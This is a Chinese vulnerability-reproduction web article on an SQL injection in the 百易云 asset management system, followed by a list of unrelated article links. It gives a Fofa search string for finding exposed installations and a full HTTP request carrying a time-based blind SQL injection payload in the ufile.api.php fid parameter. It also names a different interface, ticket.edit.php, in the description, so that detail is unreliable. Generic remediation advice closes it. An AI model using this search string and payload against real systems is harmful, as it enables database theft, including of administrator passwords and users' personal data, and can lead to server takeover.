当前位置: 首页 > news >正文

百易云资产管理运营系统 ufile.api.php SQL注入漏洞复现

0x01 产品描述:

        百易云资产管理运营系统,是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全生命周期管理,包括资产的登记、盘点、评估、处置等多个环节,同时提供强大的运营分析功能,帮助企业优化资产配置,提升运营效率。

0x02 漏洞描述:

        百易云资产管理运营系统 ticket.edit.php 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x03 搜索语句:

Fofa:body="不要着急,点此"

0x04 漏洞复现:

GET /api/file/ufile.api.php?act=filedel&fid=1%20AND%20(SELECT%207357%20FROM%20(SELECT(SLEEP(3)))UPCw) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

执行两次 

0x05 修复建议:

  1. 使用预编译语句:采用参数化查询和预编译语句(如Prepared Statements),可以确保输入数据作为参数处理,从而避免直接插入到SQL语句中。

  2. 输入验证:对用户输入进行严格验证,确保只接收合法范围内的数据。可以使用白名单策略,过滤掉所有非法字符。

  3. 最小权限原则:数据库账户应仅授予执行所需操作的最低权限,避免使用高权限账户连接数据库。

  4. 错误信息处理:避免在前端展示详细的数据库错误信息,以免泄露系统结构和数据库信息。

  5. 使用Web应用防火墙(WAF):部署WAF可以实时监测和拦截可疑请求,提供第一道防线。

http://www.lryc.cn/news/463244.html

相关文章:

  • 【分布式微服务云原生】《Redis RedLock 算法全解析:应对时钟漂移与网络分区挑战》
  • OceanBase 的写盘与传统数据库有什么不同?
  • 用Java爬虫API,轻松获取taobao商品SKU信息
  • OpenHarmony 入门——ArkUI 自定义组件内同步的装饰器@State小结(二)
  • 【Linux驱动开发】嵌入式Linux驱动开发基本步骤,字符设备开发入门,点亮LED
  • 搬砖14、Python网络编程入门
  • Transformer: Attention is All you need
  • C++:排序算法
  • 期货日内稳赢策略:双15交易法详解
  • 2024年10月第2个交易周收盘总结:怎样卖出!
  • mysql 不支持utf8mb4_0900_ai_ci
  • 第10篇:防火墙与入侵检测系统
  • Jmeter监控服务器性能
  • 通过前端UI界面创建VUE项目
  • Python网络爬虫:分析淘宝商品热度与销量[进阶深度优化]
  • golang从http请求中读取xml格式的body,并转成json
  • RestTemplate 学习笔记
  • 数据抓取时,使用动态IP要注意哪些?
  • C++类的构造函数
  • 第21~22周Java主流框架入门-Spring 3.SpringJDBC事务管理
  • C++ —— 类和对象
  • 安全见闻笔记
  • visual studio使用vcpkg无法定位程序输入点于XXX动态链接库***.dll上
  • 如何保护您的服务器免受 POODLE SSLv3 漏洞的影响
  • 如何用pyhton修改1000+图片的名字?
  • 使用fpm工具制作Vim.rpm包
  • Dorado7 全局缓存当前登录人信息 localStorage
  • 【2024最新版】网络安全学习路线-适合入门小白
  • 高可用之限流-07-token bucket 令牌桶算法
  • 软件测试学习笔记丨Pycharm运行与调试